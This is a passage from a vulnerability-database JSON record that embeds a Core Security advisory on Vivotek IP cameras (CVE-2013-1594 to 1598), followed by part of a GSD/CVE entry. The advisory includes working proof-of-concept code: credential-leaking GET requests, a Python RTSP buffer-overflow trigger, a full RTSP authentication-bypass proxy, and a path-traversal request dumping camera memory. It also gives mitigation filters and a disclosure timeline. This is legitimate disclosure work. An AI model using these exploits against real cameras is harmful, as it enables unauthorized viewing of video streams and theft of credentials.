Vivotek\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Information leak through GET request [CWE-598], Buffer overflow\n[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS\ncommand injection [CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,\nCVE-2013-1598\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in Vivotek IP cameras [1] (and\npotentially cameras from other vendors sharing the affected firmware)\nthat could allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1594] to process GET requests that contain sensitive\ninformation,\n   2. [CVE-2013-1595] to execute arbitrary code,\n   3. [CVE-2013-1596] to access the video stream via RTSP,\n   4. [CVE-2013-1597] to dump the camera\u0027s memory and retrieve user\ncredentials,\n   5. [CVE-2013-1598] to execute arbitrary commands from the\nadministration web interface (pre-authentication with firmware 0300a and\npost-authentication with firmware 0400a). \n\n4. *Vulnerable Packages*\n\n   . Other Vivotek cameras/firmware are probably affected too, but they\nwere not checked. \n\n5. *Non-Vulnerable Packages*\n\nVendor did not provide details. Contact Vivotek for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Vivotek after several attempts to\nreport these vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \n\nSome mitigation actions may be:\n\n   . Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering \u0027/../../\u0027 and \u0027getparam.cgi\u0027 in\nHTTP requests. Filter strings in the parameter \u0027system.ntp\u0027 on every request made\nto the binary \u0027farseer.out\u0027. \n\n7. *Credits*\n\n[CVE-2013-1594] was originally discovered and reported [2] by Alejandro\nLeon Morales [3] and re-discovered on new firmware versions by Flavio De\nCristofaro from Core Security. \n\n[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by\nMartin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was\nmade by Martin Rocha with help of Juan Cotta from Core QA Team. \n\n[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by\nFrancisco Falcon and Nahuel Riva from Core Exploit Writers Team. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. Sensitive information stored in plain text includes:\n\n   . FTP credentials\n   . Share folder credentials\n   . SMTP credentials\n   . WEP / WPA Keys\n   . DynDNS credentials\n   . Safe100.net credentials\n   . TZO credentials, among others. \nThe following GET requests can exploit the vulnerability (requests may\nchange according to firmware versions and vendors devices):\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/getparam.cgi\n\nhttp://192.168.1.100/setup/parafile.html\n-----/\n\n\n8.2. *Remote Buffer Overflow*\n\n[CVE-2013-1595] The following Python script can be used to trigger the\nvulnerability. This script will send to the RTSP service a specially\ncrafted packet with the header field \u0027Authorization\u0027 fully completed\nwith the character \u0027a\u0027 (0x61). As a result, the Instruction Pointer\nregister (IP) will be overwritten with 0x61616161, which is a typical\nbuffer overrun condition. \n\n/-----\nimport socket, base64\n\ncam_ip = \u0027192.168.1.100\u0027\nsession_descriptor = \u0027live.sdp\u0027\n\nrequest = \u0027DESCRIBE rtsp://%s/%s RTSP/1.0\\r\\n\u0027 % (cam_ip,\nsession_descriptor)\nrequest+= \u0027CSeq: 1\\r\\n\u0027\nrequest+= \u0027Authorization: Basic %s\\r\\n\u0027\nrequest+= \u0027\\r\\n\u0027\n\nauth_little = \u0027a\u0027 * 1000\nauth_big = \u0027a\u0027 * 10000\n\nmsgs = [request % auth_little, request % auth_big]\n\nfor msg in msgs:\n    s = socket.socket()\n    s.connect((cam_ip, 554))\n    print s.send(msg)\n    print s.recv(0x10000)\n    s.close()\n\n-----/\n\n\n8.3. *RTSP Authentication Bypass*\n\n[CVE-2013-1596] This vulnerability is triggered by sending specially\ncrafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass Vivotek(Camera):\n    # Vivotek PT7135/0400a\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        return \u0027v=0\\r\\no=RTSP 836244 0 IN IP4 0.0.0.0\\r\\ns=RTSP\nserver\\r\\nc=IN IP4 0.0.0.0\\r\\nt=0\n0\\r\\na=charset:Shift_JIS\\r\\na=range:npt=0-\\r\\na=control:*\\r\\na=etag:1234567890\\r\\nm=video\n0 RTP/AVP 96\\r\\nb=AS:1200\\r\\na=rtpmap:96\nMP4V-ES/30000\\r\\na=control:trackID=1\\r\\na=fmtp:96\nprofile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\\r\\nm=audio\n0 RTP/AVP 97\\r\\na=control:trackID=3\\r\\na=rtpmap:97\nmpeg4-generic/16000/2\\r\\na=fmtp:97 streamtype=5; profile-level-id=15;\nmode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;\nIndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\\r\\n\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, Vivotek((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n\n-----/\n\n\n8.4. *User Credentials Leaked via Path Traversal*\n\n[CVE-2013-1597] The following Python code exploits a path traversal and\ndumps the camera\u0027s memory. Valid user credentials can be extracted from\nthis memory dump by an unauthenticated remote attacker (firmware 0300a). \nThe same attack is still valid with firmware 0400a but the user has to\nbe authenticated in order to exploit this flaw. \n\n/-----\nimport httplib\n\nconn = httplib.HTTPConnection(\"192.168.1.100\")\nconn.request(\"GET\", \"/../../../../../../../../../proc/kcore\")\nresp = conn.getresponse()\ndata = resp.read()\n-----/\n\n\n\n8.5. *OS Command Injection*\n\n[CVE-2013-1598] The command injection is located in the binary file\n\u0027farseer.out\u0027 in the parameter \u0027system.ntp\u0027:\n\n/-----\n.text:0000CB34                 MOV     R1, R4\n.text:0000CB38                 LDR     R0, =aCmdporcessStar ;\n\"[CmdPorcess] Start sync with NTP server %s\"... \n.text:0000CB3C                 ADD     R10, SP, #0x144+var_120\n.text:0000CB40                 BNE     loc_CB68\n[...]\n.text:0000CB68                 BL      .printf\n.text:0000CB6C                 LDR     R2, =aSS_0      ; \"%s%s\"\n.text:0000CB70                 LDR     R3, =aUsrSbinPsntpda ;\n\"/usr/sbin/psntpdate -4fr \"\n.text:0000CB74                 MOV     R1, #0xFF       ; maxlen\n.text:0000CB78                 MOV     R0, R10         ; s\n.text:0000CB7C                 STR     R4, [SP,#0x144+var_144]\n.text:0000CB80                 BL      .snprintf\n.text:0000CB84                 MOV     R0, R10         ; command\n.text:0000CB88                 BL      .system        \n-----/\n\n9. *Report Timeline*\n\n. 2013-03-06:\nCore Security Technologies notifies the Vivotek Customer Support of the\nvulnerability (tracking ID CRM:00930113) and requests a security manager\nto send a draft report regarding these vulnerabilities. No reply received. 2013-03-11:\nCore asks for a security manager to send a confidential report. 2013-03-14:\nCore notifies the Vivotek Technical Support of the vulnerability\n(tracking ID CRM:00930485). 2013-03-18:\nCore opens a new ticket in the Vivotek Technical Support (tracking ID\nCRM:00930670). 2013-03-21:\nCore asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24:\nCore tries to contact vendor for last time without any reply. 2013-04-29:\nAfter 6 failed attempts to report the issues, the advisory\nCORE-2013-0301 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.vivotek.com/web/product/NetworkCameras.aspx\n[2] http://www.securityfocus.com/bid/54476. \n[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "BID",
        "id": "59575"
      },
      {
        "db": "BID",
        "id": "54476"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "db": "PACKETSTORM",
        "id": "121451"
      }
    ],
    "trust": 3.42
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=25139",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-1598",
        "trust": 3.5
      },
      {
        "db": "BID",
        "id": "59575",
        "trust": 2.6
      },
      {
        "db": "BID",
        "id": "54476",
        "trust": 1.6
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710",
        "trust": 0.6
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028",
        "trust": 0.6
      },
      {
        "db": "EXPLOIT-DB",
        "id": "25139",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "121451",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "db": "BID",
        "id": "59575"
      },
      {
        "db": "BID",
        "id": "54476"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "PACKETSTORM",
        "id": "121451"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "id": "VAR-202001-0838",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      }
    ],
    "trust": 2.033333333333333
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 1.2
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      }
    ]
  },
  "last_update_date": "2024-08-14T14:26:00.073000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top\u00a0Page",
        "trust": 0.8,
        "url": "https://www.vivotek.com/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.0
      },
      {
        "problemtype": "OS Command injection (CWE-78) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.6,
        "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
      },
      {
        "trust": 1.8,
        "url": "http://www.securityfocus.com/bid/59575"
      },
      {
        "trust": 1.7,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
      },
      {
        "trust": 1.7,
        "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
      },
      {
        "trust": 1.7,
        "url": "https://packetstormsecurity.com/files/cve/cve-2013-1598"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1598"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/bid/54476/"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/fulldisclosure/2013/apr/252"
      },
      {
        "trust": 0.6,
        "url": "http://www.securityfocus.com/bid/54476"
      },
      {
        "trust": 0.3,
        "url": "http://www.vivotek.com/"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/78.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/25139/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1596"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1595"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1597"
      },
      {
        "trust": 0.1,
        "url": "http://www.undermx.blogspot.mx."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1594"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/admin/getparam.cgi"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/setup/parafile.html"
      },
      {
        "trust": 0.1,
        "url": "http://www.vivotek.com/web/product/networkcameras.aspx"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://www.securityfocus.com/bid/54476."
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "db": "BID",
        "id": "59575"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "PACKETSTORM",
        "id": "121451"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "db": "BID",
        "id": "59575"
      },
      {
        "db": "BID",
        "id": "54476"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "db": "PACKETSTORM",
        "id": "121451"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2012-07-18T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "date": "2013-05-06T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "date": "2020-01-24T00:00:00",
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59575"
      },
      {
        "date": "2012-07-16T00:00:00",
        "db": "BID",
        "id": "54476"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "date": "2013-04-29T23:40:31",
        "db": "PACKETSTORM",
        "id": "121451"
      },
      {
        "date": "2012-07-18T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      },
      {
        "date": "2020-01-24T19:15:11.933000",
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2012-07-18T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "date": "2013-05-27T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04660"
      },
      {
        "date": "2020-01-31T00:00:00",
        "db": "VULMON",
        "id": "CVE-2013-1598"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59575"
      },
      {
        "date": "2012-07-16T00:00:00",
        "db": "BID",
        "id": "54476"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007131"
      },
      {
        "date": "2012-07-18T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "date": "2020-03-05T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      },
      {
        "date": "2020-01-31T18:57:32.243000",
        "db": "NVD",
        "id": "CVE-2013-1598"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-028"
      }
    ],
    "trust": 1.2
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Vivotek Network Cameras Information Disclosure Vulnerability",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2012-3710"
      },
      {
        "db": "BID",
        "id": "54476"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      }
    ],
    "trust": 1.5
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "information disclosure",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201207-239"
      }
    ],
    "trust": 0.6
  }
}

GSD-2013-1598

Vulnerability from gsd - Updated: 2023-12-13 01:22

Details

Aliases

CVE-2013-1598

Aliases

CVE-2013-1598

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2013-1598",
    "description": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code.",
    "id": "GSD-2013-1598",
    "references": [
      "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2013-1598"
      ],
      "details": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code.",
      "id": "GSD-2013-1598",
      "modified": "2023-12-13T01:22:20.964793Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cve@mitre.org",
        "ID": "CVE-2013-1598",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "n/a",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "n/a"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "n/a"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code."
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "n/a"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "http://www.securityfocus.com/bid/59575",
            "refsource": "MISC",
            "url": "http://www.securityfocus.com/bid/59575"
          },
          {
            "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946",
            "refsource": "MISC",
            "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
          },
          {
            "name": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities",
            "refsource": "MISC",
